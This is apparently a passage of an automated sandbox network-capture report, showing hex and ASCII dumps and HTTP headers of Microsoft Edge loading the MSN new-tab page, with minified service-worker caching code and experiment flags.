6b 4d 61 70 2c 4b 3d 6e 65 77 20 57 Data Ascii: 2000).catch((()=>{}));let a,r=await s.cacheMatch(t);if(r);else try{r=await n}catch(e){e instanceof Error&&(a=e)}if(!r)throw new e("no-response",{url:t.url,error:a});return r}}const I=(e,t)=>t.some((t=>e instanceof t));let B,W;const j=new WeakMap,K=new W
2024-11-26 07:03:49 UTC	7815	IN	Data Raw: 31 65 37 66 0d 0a 63 6f 6d 65 47 72 65 65 74 69 6e 67 4c 69 67 68 74 2e 22 2c 22 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6c 69 62 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6d 69 6e 5f 6a 73 2e 22 5d 2c 68 65 3d 5b 22 2f 62 61 63 6b 67 72 6f 75 6e 64 2d 67 61 6c 6c 65 72 79 2e 22 2c 22 2f 63 61 72 64 2d 61 63 74 69 6f 6e 73 2d 77 63 2e 22 2c 22 2f 63 68 61 6e 6e 65 6c 2d 64 61 74 61 2d 63 6f 6e 6e 65 63 74 6f 72 2e 22 2c 22 2f 63 68 61 6e 6e 65 6c 2d 73 74 6f 72 65 2e 22 2c 22 2f 63 6f 64 65 78 2d 62 69 6e 67 2d 63 68 61 74 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2d 63 73 63 6f 72 65 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2d 66 65 65 64 2d 6c 69 62 73 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2d 73 65 67 6d 65 Data Ascii: 1e7fcomeGreetingLight.","/node_modules_xmlbuilder2_lib_xmlbuilder2_min_js."],he=["/background-gallery.","/card-actions-wc.","/channel-data-connector.","/channel-store.","/codex-bing-chat.","/common.","/common-cscore.","/common-feed-libs.","/common-segme
2024-11-26 07:03:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 43 61 63 68 65 64 52 65 73 70 6f 6e 73 65 41 67 65 22 2c 61 74 3d 22 63 6c 69 65 6e 74 4e 61 76 43 61 63 68 65 53 74 61 74 75 73 4d 61 70 22 2c 72 74 3d 22 63 6c 69 65 6e 74 4e 61 76 52 6f 75 74 69 6e 67 4d 6f 64 65 22 2c 69 74 3d 22 63 6c 69 65 6e 74 4e 61 76 53 74 72 61 74 65 67 79 52 6f 75 74 69 6e 67 50 65 72 66 22 2c 6f 74 3d 22 66 65 65 64 5f 64 69 73 22 2c 63 74 3d 22 73 65 63 2d 65 64 67 65 2d 6e 74 70 22 2c 6c 74 3d 22 77 69 64 67 65 74 6f 6e 6c 6f 63 6b 73 63 72 65 65 6e 22 2c 68 74 3d 22 77 69 6e 70 32 22 3b 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 72 65 74 75 72 6e 22 6e 6f 2d 73 74 6f 72 65 22 3d 3d 3d 65 2e 68 65 61 64 65 72 73 2e 67 65 74 28 22 73 77 2d 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 29 7d 66 75 6e 63 74 69 Data Ascii: 2000CachedResponseAge",at="clientNavCacheStatusMap",rt="clientNavRoutingMode",it="clientNavStrategyRoutingPerf",ot="feed_dis",ct="sec-edge-ntp",lt="widgetonlockscreen",ht="winp2";function ut(e){return"no-store"===e.headers.get("sw-cache-control")}functi
2024-11-26 07:03:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 7c 5b 5d 3b 69 66 28 73 2e 6c 65 6e 67 74 68 3e 30 29 7b 63 6f 6e 73 74 20 65 3d 73 2e 6d 61 70 28 28 65 3d 3e 65 2e 75 72 6c 29 29 3b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 73 77 43 61 63 68 65 45 6e 61 62 6c 65 64 20 62 75 74 20 63 61 63 68 65 64 20 72 65 73 70 6f 6e 73 65 20 6e 6f 74 20 6d 61 74 63 68 3a 20 22 2b 65 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 65 6c 73 65 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 73 77 43 61 63 68 65 45 6e 61 62 6c 65 64 20 62 75 74 20 6e 6f 20 63 61 63 68 65 20 66 6f 75 6e 64 65 64 22 29 7d 7d 72 65 74 75 72 6e 20 61 7d 5f 67 65 74 54 69 6d 65 6f 75 74 50 72 6f 6d 69 73 65 28 7b 72 65 71 75 65 73 74 3a 65 2c 68 61 6e 64 6c 65 72 3a 74 7d 29 7b 6c 65 74 20 73 3b 72 65 74 75 72 6e 7b 70 72 6f 6d Data Ascii: 2000\|[];if(s.length>0){const e=s.map((e=>e.url));console.error("swCacheEnabled but cached response not match: "+e.toString())}else console.error("swCacheEnabled but no cache founded")}}return a}_getTimeoutPromise({request:e,handler:t}){let s;return{prom
2024-11-26 07:03:49 UTC	1640	IN	Data Raw: 36 36 31 0d 0a 65 79 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 63 61 63 68 65 4b 65 79 73 54 6f 49 6e 74 65 67 72 69 74 69 65 73 2e 67 65 74 28 65 29 7d 61 73 79 6e 63 20 6d 61 74 63 68 50 72 65 63 61 63 68 65 28 65 29 7b 63 6f 6e 73 74 20 74 3d 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 71 75 65 73 74 3f 65 2e 75 72 6c 3a 65 2c 73 3d 74 68 69 73 2e 67 65 74 43 61 63 68 65 4b 65 79 46 6f 72 55 52 4c 28 74 29 3b 69 66 28 73 29 72 65 74 75 72 6e 28 61 77 61 69 74 20 73 65 6c 66 2e 63 61 63 68 65 73 2e 6f 70 65 6e 28 74 68 69 73 2e 73 74 72 61 74 65 67 79 2e 63 61 63 68 65 4e 61 6d 65 29 29 2e 6d 61 74 63 68 28 73 29 7d 63 72 65 61 74 65 48 61 6e 64 6c 65 72 42 6f 75 6e 64 54 6f 55 52 4c 28 74 29 7b 63 6f 6e 73 74 20 73 3d 74 68 69 73 2e 67 65 74 Data Ascii: 661ey(e){return this._cacheKeysToIntegrities.get(e)}async matchPrecache(e){const t=e instanceof Request?e.url:e,s=this.getCacheKeyForURL(t);if(s)return(await self.caches.open(this.strategy.cacheName)).match(s)}createHandlerBoundToURL(t){const s=this.get
2024-11-26 07:03:49 UTC	4043	IN	Data Raw: 66 63 34 0d 0a 61 3d 74 7d 4e 28 29 2e 72 65 67 69 73 74 65 72 52 6f 75 74 65 28 61 29 7d 28 6e 65 77 20 44 74 28 73 2c 74 29 29 7d 28 73 29 7d 76 61 72 20 71 74 3b 71 74 3d 7b 63 61 63 68 65 4e 61 6d 65 44 65 74 61 69 6c 73 3a 7b 70 72 65 66 69 78 3a 22 65 64 67 65 6e 65 78 74 22 2c 73 75 66 66 69 78 3a 22 56 31 22 2c 70 72 65 63 61 63 68 65 3a 22 70 72 65 22 2c 72 75 6e 74 69 6d 65 3a 22 72 75 6e 74 69 6d 65 22 2c 62 61 73 65 46 61 6c 6c 62 61 63 6b 3a 22 62 61 73 65 2d 66 61 6c 6c 62 61 63 6b 22 7d 7d 2c 73 65 6c 66 2e 73 74 61 74 65 3d 7b 7d 2c 73 65 6c 66 2e 73 74 61 74 65 2e 63 6c 69 65 6e 74 4e 61 76 43 61 63 68 65 53 74 61 74 75 73 4d 61 70 3d 6e 65 77 20 4d 61 70 2c 73 65 6c 66 2e 73 74 61 74 65 2e 63 6c 69 65 6e 74 4e 61 76 46 65 74 63 68 50 65 Data Ascii: fc4a=t}N().registerRoute(a)}(new Dt(s,t))}(s)}var qt;qt={cacheNameDetails:{prefix:"edgenext",suffix:"V1",precache:"pre",runtime:"runtime",baseFallback:"base-fallback"}},self.state={},self.state.clientNavCacheStatusMap=new Map,self.state.clientNavFetchPe
2024-11-26 07:03:49 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 73 3a 6e 75 6c 6c 7d 29 29 29 29 7d 28 71 74 2e 65 78 70 65 72 69 65 6e 63 65 42 61 73 65 52 6f 75 74 65 29 3b 63 6f 6e 73 74 20 49 74 3d 5b 7b 22 72 65 76 69 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 75 72 6c 22 3a 22 2f 62 75 6e 64 6c 65 73 2f 76 31 2f 65 64 67 65 43 68 72 6f 6d 69 75 6d 2f 62 75 69 6c 64 4e 75 6d 62 65 72 2f 61 64 6d 69 6e 2d 70 6f 72 74 61 6c 2d 64 61 74 61 2e 62 65 36 37 31 33 62 63 30 61 37 33 30 33 38 39 32 36 32 31 2e 6a 73 22 7d 2c 7b 22 72 65 76 69 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 75 72 6c 22 3a 22 2f 62 75 6e 64 6c 65 73 2f 76 31 2f 65 64 67 65 43 68 72 6f 6d 69 75 6d 2f 62 75 69 6c 64 4e 75 6d 62 65 72 2f 61 70 70 2d 74 79 70 65 73 5f 65 64 67 65 2d 73 75 67 69 5f 73 72 63 5f 70 61 72 74 69 61 6c 73 5f 73 75 67 Data Ascii: 2000s:null}))))}(qt.experienceBaseRoute);const It=[{"revision":null,"url":"/bundles/v1/edgeChromium/buildNumber/admin-portal-data.be6713bc0a7303892621.js"},{"revision":null,"url":"/bundles/v1/edgeChromium/buildNumber/app-types_edge-sugi_src_partials_sug

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49796	204.79.197.203	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:48 UTC	2137	OUT	GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-viewport-height: 876 sec-ch-ua-arch: "x86" sec-ch-viewport-width: 1232 sec-ch-ua-platform-version: "10.0.0" downlink: 1.3 sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" device-memory: 8 rtt: 700 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-full-version: "117.0.2045.47" sec-ch-dpr: 1 ect: 3g Accept: / sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false} Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=82053BAEE49F42369B25652140A192D8.RefC=2024-11-26T07:03:36Z; USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; MUIDB=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=9d88a01c-c379-431c-9873-4ea0c715db40; ai_session=U/IyNk/vcXnH3Fet2HiDGA\|1732604626687\|1732604626687; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=82053BAEE49F42369B25652140A192D8.RefC=2024-11-26T07:03:36Z
2024-11-26 07:03:49 UTC	8201	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 55408 Content-Type: text/html; charset=utf-8 Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket_restored=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; domain=.msn.com; path=/; httponly Access-Control-Allow-Methods: HEAD,GET,OPTIONS Content-Security-Policy: child-src 'self';connect-src 'self' .mavideo.microsoft.com arc.msn.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn browser.events.data.msn.com browser.events.data.msn.cn browser.events.data.microsoftstart.com browser.events.data.microsoftstart.cn business.bing.com/api/ usgov.business.bing.com/api/ cdn.hubblecontent.osi.office.net copilotexplore.azurewebsites.net events-sandbox.data.msn.com events-sandbox.data.msn.cn events-sandbox.data.microsoftstart.com events-sandbox.data.microsoftstart.cn finance-services.msn.com https://.sharepoint.com/_api/v2.0/ https://.sharepoint-df.com/_api/v2.0/ https://.sharepoint.com/_api/v2.1/ https://*.sharepoint-df.com/_api/v2.1/ https://bingretailmsndata.azureedge.net/msndata/ https://browser.pipe.aria.microsoft.com/Collector/ https://dev.virtualearth.net/REST/v1/Imagery/ https://dev.ditu.live.com/REST/v1/Imagery/ https://ecn.dev.virtualearth.net https://jsconfig.adsafeprotected.com https://g.bing.com https://msx.bing.com https://pet [TRUNCATED] X-Robots-Tag: noindex X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-UA-Compatible: IE=Edge;chrome=1 x-fabric-cluster: pmeprodeus report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]},{"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://deff.nelreports.net/api/report"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} Strict-Transport-Security: max-age=1209600; includeSubDomains; preload Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Prefers-Color-Scheme, Device-Memory, Downlink, ECT, RTT, Sec-CH-DPR X-Ceto-ref: 674572d4d94640ec9e06efad8ba567e4\|AFD:2A422A55E11549EABBD6D5EA319C2383\|2024-11-26T07:03:48.996Z X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 2A422A55E11549EABBD6D5EA319C2383 Ref B: EWR30EDGE1416 Ref C: 2024-11-26T07:03:48Z Date: Tue, 26 Nov 2024 07:03:48 GMT Connection: close
2024-11-26 07:03:49 UTC	122	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 20 3e 0d 0a 3c 68 65 61 64 20 64 61 74 61 2d 69 6e 66 6f 3d 22 66 3a 6d 73 6e 61 6c 6c 65 78 70 75 73 65 72 73 2c 70 72 67 2d 73 70 2d 6c 69 76 65 61 70 69 2c 70 72 67 2d 66 69 6e 2d 63 70 6f 66 6c 69 6f 2c 70 72 67 2d 68 70 2d 68 Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr" ><head data-info="f:msnallexpusers,prg-sp-liveapi,prg-fin-cpoflio,prg-hp-h
2024-11-26 07:03:49 UTC	96	IN	Data Raw: 61 73 70 6f 6c 6c 2c 70 72 67 2d 73 65 61 72 63 68 6e 65 77 74 2d 63 2c 63 70 72 67 2d 69 6e 66 6f 70 2d 61 64 73 2d 64 6c 2c 70 72 67 2d 31 73 77 2d 73 61 2d 6d 61 69 70 72 6f 66 69 6c 65 5f 74 32 2c 70 72 67 2d 31 73 77 2d 73 61 2d 72 6d 63 61 6c 69 62 2d 6c 76 66 5f 74 31 2c 70 72 67 Data Ascii: aspoll,prg-searchnewt-c,cprg-infop-ads-dl,prg-1sw-sa-maiprofile_t2,prg-1sw-sa-rmcalib-lvf_t1,prg
2024-11-26 07:03:49 UTC	689	IN	Data Raw: 2d 31 73 77 2d 61 62 72 74 70 67 2d 72 2c 70 72 67 2d 31 73 77 2d 72 65 76 5f 61 62 72 74 70 67 2c 70 72 67 2d 31 73 77 2d 74 6d 75 69 64 73 79 6e 63 72 66 77 6f 65 72 72 2c 70 72 67 2d 31 73 77 2d 72 65 66 72 65 73 68 70 2c 70 72 67 2d 31 73 77 2d 74 6d 75 69 64 31 73 73 79 6e 63 2c 32 34 30 39 2d 6e 65 77 2d 62 69 6e 67 2d 64 65 73 69 67 6e 2d 74 2c 70 72 67 2d 61 64 73 70 65 65 6b 2c 31 73 2d 6e 74 66 31 2d 72 64 69 64 32 61 2c 31 73 2d 6e 74 66 31 2d 66 73 70 74 62 72 63 2c 31 73 2d 6e 74 66 31 2d 70 6e 6f 74 73 2c 31 73 2d 6e 74 66 31 2d 72 64 69 64 32 2c 31 73 2d 6e 74 66 31 2d 72 64 69 64 78 32 2c 70 72 67 2d 31 73 77 2d 6d 6f 6e 65 78 70 62 2c 70 72 67 2d 31 73 77 2d 70 6e 6f 74 69 61 2c 70 72 67 2d 70 31 2d 74 73 34 63 6f 6c 64 2c 74 72 61 66 66 Data Ascii: -1sw-abrtpg-r,prg-1sw-rev_abrtpg,prg-1sw-tmuidsyncrfwoerr,prg-1sw-refreshp,prg-1sw-tmuid1ssync,2409-new-bing-design-t,prg-adspeek,1s-ntf1-rdid2a,1s-ntf1-fsptbrc,1s-ntf1-pnots,1s-ntf1-rdid2,1s-ntf1-rdidx2,prg-1sw-monexpb,prg-1sw-pnotia,prg-p1-ts4cold,traff
2024-11-26 07:03:49 UTC	436	IN	Data Raw: 2d 65 62 63 67 73 6d 6c 32 2d 70 32 2c 70 72 67 2d 31 73 77 2d 65 62 6f 63 75 2d 70 32 2c 70 72 67 2d 31 73 77 2d 65 62 73 6d 2d 70 32 2c 70 72 67 2d 31 73 77 2d 65 76 74 62 6e 2d 63 6f 6c 64 2c 70 72 67 2d 31 73 77 2d 65 76 74 62 6e 2d 70 32 2c 70 72 67 2d 31 73 77 2d 6d 6b 74 72 65 63 61 6c 6c 2c 70 72 67 2d 31 73 77 2d 70 32 65 6e 74 72 65 63 61 6c 6c 2c 70 72 67 2d 70 72 32 2d 73 70 72 65 78 70 62 2c 70 72 67 2d 70 72 32 2d 70 72 65 31 73 63 6f 6d 62 2c 70 72 67 2d 70 72 32 2d 70 72 65 31 73 69 6d 61 67 65 73 2c 70 72 67 2d 70 72 32 2d 70 72 65 31 73 77 61 72 6d 2c 70 72 67 2d 70 72 32 2d 70 72 65 31 73 77 61 72 73 2c 70 72 67 2d 70 72 32 2d 70 72 65 31 73 77 61 72 77 2c 31 73 2d 6e 74 66 32 2d 72 64 69 64 32 61 2c 31 73 2d 6e 74 66 32 2d 66 73 70 74 Data Ascii: -ebcgsml2-p2,prg-1sw-ebocu-p2,prg-1sw-ebsm-p2,prg-1sw-evtbn-cold,prg-1sw-evtbn-p2,prg-1sw-mktrecall,prg-1sw-p2entrecall,prg-pr2-sprexpb,prg-pr2-pre1scomb,prg-pr2-pre1simages,prg-pr2-pre1swarm,prg-pr2-pre1swars,prg-pr2-pre1swarw,1s-ntf2-rdid2a,1s-ntf2-fspt
2024-11-26 07:03:49 UTC	4096	IN	Data Raw: 74 65 64 6f 6e 64 6d 64 2c 31 73 2d 70 31 2d 75 61 34 6f 73 76 68 77 2c 31 73 2d 77 70 6f 2d 70 72 31 2d 70 72 6f 6d 61 64 2c 70 72 67 2d 31 75 6e 69 66 69 65 64 2d 6e 6f 2d 73 74 6f 72 65 2c 70 72 67 2d 32 66 63 61 70 2d 74 61 61 69 6d 2d 63 2c 32 34 31 30 2d 73 66 6f 6f 74 65 72 2d 63 2c 6e 61 76 69 67 61 74 69 6f 6e 2d 61 6e 64 72 6f 69 64 2d 63 2c 31 73 2d 6e 6f 74 69 66 6d 61 70 70 69 6e 67 2c 70 72 67 2d 73 68 2d 66 72 6e 72 63 2c 70 72 67 2d 77 78 2d 64 68 67 72 64 2d 63 2c 70 72 67 2d 73 68 2d 64 65 61 6c 73 64 61 79 70 64 70 2c 70 72 67 2d 73 68 2d 72 6d 69 74 6d 6c 6e 6b 2d 63 2c 6e 6f 70 69 6e 67 6c 61 6e 63 65 63 61 72 64 69 74 2c 70 72 67 2d 63 67 2d 69 6e 67 61 6d 65 73 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 63 67 2d 69 6e 2d 67 6d 2d 78 6e 2d Data Ascii: tedondmd,1s-p1-ua4osvhw,1s-wpo-pr1-promad,prg-1unified-no-store,prg-2fcap-taaim-c,2410-sfooter-c,navigation-android-c,1s-notifmapping,prg-sh-frnrc,prg-wx-dhgrd-c,prg-sh-dealsdaypdp,prg-sh-rmitmlnk-c,nopinglancecardit,prg-cg-ingames-xn-ads,prg-cg-in-gm-xn-
2024-11-26 07:03:49 UTC	4096	IN	Data Raw: 65 72 76 69 63 65 26 71 75 6f 74 3b 3a 20 7b 26 71 75 6f 74 3b 64 6f 6d 61 69 6e 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6d 73 6e 2e 63 6f 6d 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 70 61 74 68 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 76 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 26 71 75 6f 74 3b 7d 2c 26 71 75 6f 74 3b 65 6e 74 65 72 70 72 69 73 65 46 65 65 64 53 65 72 76 69 63 65 26 71 75 6f 74 3b 3a 20 7b 26 71 75 6f 74 3b 64 6f 6d 61 69 6e 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 2f 2f 65 6e 74 2d 61 70 69 2e 6d 73 6e 2e 63 6f 6d 2f 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 70 61 74 68 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 26 71 75 6f 74 Data Ascii: ervice": {"domain": "https://assets.msn.com", "path": "", "v": ""},"enterpriseFeedService": {"domain": "https://ent-api.msn.com/", "path": "&quot
2024-11-26 07:03:49 UTC	4096	IN	Data Raw: 6f 2c 6f 7d 6c 65 74 20 69 2c 72 3b 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 69 66 28 21 69 29 7b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6c 69 65 6e 74 2d 73 65 74 74 69 6e 67 73 22 29 3b 65 26 26 28 69 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 29 7d 72 65 74 75 72 6e 20 69 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 66 6f 22 29 3b 72 65 74 75 72 6e 20 72 3d 28 28 2f 66 3a 5c 73 2a 28 5b 5e 3b 5d 2b 29 2f 69 2e 65 78 65 63 28 65 29 7c 7c 7b 7d 29 5b 31 5d 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: o,o}let i,r;function s(){if(!i){const e=document.head.getAttribute("data-client-settings");e&&(i=JSON.parse(e))}return i}function a(){if(r)return r;const e=document.head.getAttribute("data-info");return r=((/f:\s*([^;]+)/i.exec(e)\|\|{})[1]\|\|"").toLowerCase
2024-11-26 07:03:49 UTC	4096	IN	Data Raw: 65 5b 6e 5d 2e 73 6c 69 63 65 28 30 2c 74 29 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 46 28 65 5b 6e 5d 2e 73 6c 69 63 65 28 74 2b 31 29 29 7d 7d 63 6f 6e 73 74 20 6e 3d 65 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 20 5f 5b 6e 5d 7c 7c 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 57 28 65 29 7b 76 61 72 20 74 3b 63 6f 6e 73 74 20 6e 3d 6e 75 6c 6c 3d 3d 3d 28 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6d 61 74 63 68 28 60 5c 5c 62 24 7b 65 7d 3d 28 5b 5e 3b 5d 2a 29 60 29 3b 72 65 74 75 72 6e 20 6e 3f 46 28 6e 5b 31 5d 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 63 6f 6e 73 74 20 74 3d 55 28 65 29 3b Data Ascii: e[n].slice(0,t).toLocaleLowerCase()]=F(e[n].slice(t+1))}}const n=e.toLocaleLowerCase();return _[n]\|\|null}function W(e){var t;const n=null===(t=document.cookie)\|\|void 0===t?void 0:t.match(`\\b${e}=([^;]*)`);return n?F(n[1]):null}function D(e){const t=U(e);
2024-11-26 07:03:49 UTC	4096	IN	Data Raw: 2e 73 6f 6d 65 28 28 65 3d 3e 22 76 69 73 69 62 6c 65 22 3d 3d 3d 65 2e 6e 61 6d 65 29 29 29 7b 63 6f 6e 73 74 20 74 3d 28 29 3d 3e 7b 22 76 69 73 69 62 6c 65 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 26 26 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 65 2c 68 29 7d 3b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 74 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 65 6c 73 65 20 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 65 2c 68 29 7d 7d 63 61 74 63 68 7b 7d 7d 63 6f 6e 73 74 20 6a 3d 7b 68 6f 6d 65 50 61 67 65 3a 7b 76 65 72 74 69 63 61 6c 3a 22 68 6f 6d 65 70 61 67 65 22 2c 63 61 74 65 67 6f 72 79 Data Ascii: .some((e=>"visible"===e.name))){const t=()=>{"visible"===document.visibilityState&&navigator.sendBeacon(e,h)};document.addEventListener("visibilitychange",t,{once:!0})}else navigator.sendBeacon(e,h)}}catch{}}const j={homePage:{vertical:"homepage",category
2024-11-26 07:03:49 UTC	4096	IN	Data Raw: 63 65 64 3d 22 66 6f 72 63 65 64 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 7d 28 4c 65 7c 7c 28 4c 65 3d 7b 7d 29 29 3b 6e 65 77 20 53 65 74 28 5b 22 77 69 6e 70 30 64 61 73 68 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 64 69 72 65 63 74 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 64 69 72 65 63 74 65 6e 74 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 6a 75 6e 74 61 73 6b 62 61 72 22 2c 22 77 69 6e 70 32 6a 75 6e 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 22 2c 22 77 69 6e 70 32 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 22 2c 22 77 69 6e 70 32 66 70 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b Data Ascii: ced="forced",e.Manual="manual"}(Le\|\|(Le={}));new Set(["winp0dash","winp1taskbar","winp1taskbarent","winp1taskbardirect","winp1taskbardirectent","winp1taskbarent","winp2juntaskbar","winp2juntaskbarent","winp2","winp2ent","winp2fp","winp2fpent","winp2fptask

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49806	20.96.153.111	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
